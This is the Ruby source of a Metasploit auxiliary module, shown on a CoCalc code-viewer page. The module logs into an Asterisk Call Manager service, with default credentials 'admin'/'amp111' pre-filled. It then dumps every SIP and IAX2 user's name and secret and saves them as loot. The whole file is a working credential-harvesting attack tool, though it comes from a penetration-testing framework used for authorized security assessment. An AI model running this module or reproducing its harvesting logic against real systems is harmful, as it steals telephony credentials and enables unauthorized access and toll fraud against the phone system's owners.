CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/asterisk_creds.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Asterisk Gather Credentials',
13
'Description' => %q{
14
This module retrieves SIP and IAX2 user extensions and credentials from
15
Asterisk Call Manager service. Valid manager credentials are required.
16
},
17
'Author' => 'bcoles',
18
'References' =>
19
[
20
['URL', 'http://www.asterisk.name/sip1.html'],
21
['URL', 'http://www.asterisk.name/iax2.html'],
22
['URL', 'https://www.voip-info.org/wiki/view/Asterisk+manager+API'],
23
['URL', 'https://www.voip-info.org/wiki-Asterisk+CLI']
24
],
25
'License' => MSF_LICENSE))
26
register_options [
27
Opt::RPORT(5038),
28
OptString.new('USERNAME', [true, 'The username for Asterisk Call Manager', 'admin']),
29
OptString.new('PASSWORD', [true, 'The password for the specified username', 'amp111'])
30
]
31
end
32
33
def run
34
vprint_status 'Connecting...'
35
36
connect
37
banner = sock.get_once
38
39
unless banner =~ %r{Asterisk Call Manager/([\d\.]+)}
40
fail_with Failure::BadConfig, 'Asterisk Call Manager does not appear to be running'
41
end
42
43
print_status "Found Asterisk Call Manager version #{$1}"
44
45
unless login
46
fail_with Failure::NoAccess, 'Authentication failed'
47
end
48
49
print_good 'Authenticated successfully'
50
51
@users = []
52
retrieve_users 'sip'
53
retrieve_users 'iax2'
54
55
if @users.empty?
56
print_error 'Did not find any users'
57
return
58
end
59
60
print_status "Found #{@users.length} users"
61
62
cred_table = Rex::Text::Table.new 'Header' => 'Asterisk User Credentials',
63
'Indent' => 1,
64
'Columns' => ['Username', 'Secret', 'Type']
65
66
@users.each do |user|
67
cred_table << [ user['username'],
68
user['password'],
69
user['type'] ]
70
report_cred user: user['username'],
71
password: user['password'],
72
proof: "#{user['type']} show users"
73
end
74
75
print_line
76
print_line cred_table.to_s
77
78
p = store_loot 'asterisk.user.creds',
79
'text/csv',
80
rhost,
81
cred_table.to_csv,
82
'Asterisk User Credentials'
83
84
print_good "Credentials saved in: #{p}"
85
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
86
print_error e.message
87
ensure
88
disconnect
89
end
90
91
private
92
93
def username
94
datastore['USERNAME']
95
end
96
97
def password
98
datastore['PASSWORD']
99
end
100
101
def report_cred(opts)
102
service_data = {
103
address: rhost,
104
port: rport,
105
service_name: 'asterisk_manager',
106
protocol: 'tcp',
107
workspace_id: myworkspace_id
108
}
109
110
credential_data = {
111
origin_type: :service,
112
module_fullname: fullname,
113
username: opts[:user],
114
private_data: opts[:password],
115
private_type: :password
116
}.merge service_data
117
118
login_data = {
119
core: create_credential(credential_data),
120
status: Metasploit::Model::Login::Status::UNTRIED,
121
proof: opts[:proof]
122
}.merge service_data
123
124
create_credential_login login_data
125
end
126
127
def send_command(cmd = '')
128
sock.put cmd
129
130
res = ''
131
timeout = 15
132
Timeout.timeout(timeout) do
133
res << sock.get_once while res !~ /\r?\n\r?\n/
134
end
135
136
res
137
rescue Timeout::Error
138
print_error "Timeout (#{timeout} seconds)"
139
rescue => e
140
print_error e.message
141
end
142
143
def login
144
vprint_status "Authenticating as '#{username}'"
145
146
req = "action: login\r\n"
147
req << "username: #{username}\r\n"
148
req << "secret: #{password}\r\n"
149
req << "events: off\r\n"
150
req << "\r\n"
151
res = send_command req
152
153
return false unless res =~ /Response: Success/
154
155
report_cred user: username,
156
password: password,
157
proof: 'Response: Success'
158
159
report_service :host => rhost,
160
:port => rport,
161
:proto => 'tcp',
162
:name => 'asterisk'
163
true
164
end
165
166
def retrieve_users(type)
167
vprint_status "Retrieving #{type.upcase} users..."
168
169
req = "action: command\r\n"
170
req << "command: #{type} show users\r\n"
171
req << "\r\n"
172
res = send_command req
173
174
if res =~ /Response: Error/ && res =~ /Message: Permission denied/
175
print_error 'Insufficient privileges'
176
return
177
end
178
179
unless res =~ /Response: Follows/
180
print_error 'Unexpected reply'
181
return
182
end
183
184
# The response is a whitespace formatted table
185
# We're only interested in the first two columns: username and secret
186
# To parse the table, we need the character width of these two columns
187
if res =~ /^(Username\s+)(Secret\s+)/
188
user_len = $1.length
189
pass_len = $2.length
190
else
191
print_error "'#{type} show users' is not supported"
192
return
193
end
194
195
users = res.scan(/^Username\s+Secret.*?\r?\n(.*)--END COMMAND--/m).flatten.first
196
197
if users.blank?
198
print_error "Did not find any #{type.upcase} users"
199
return
200
else
201
print_status "Found #{type.upcase} users"
202
end
203
204
users.each_line do |line|
205
line.chomp!
206
user = line[0...user_len].sub(/\s+$/, '')
207
pass = line[user_len...(user_len + pass_len)].sub(/\s+$/, '')
208
@users << { 'username' => user, 'password' => pass, 'type' => type }
209
end
210
end
211
end
212
213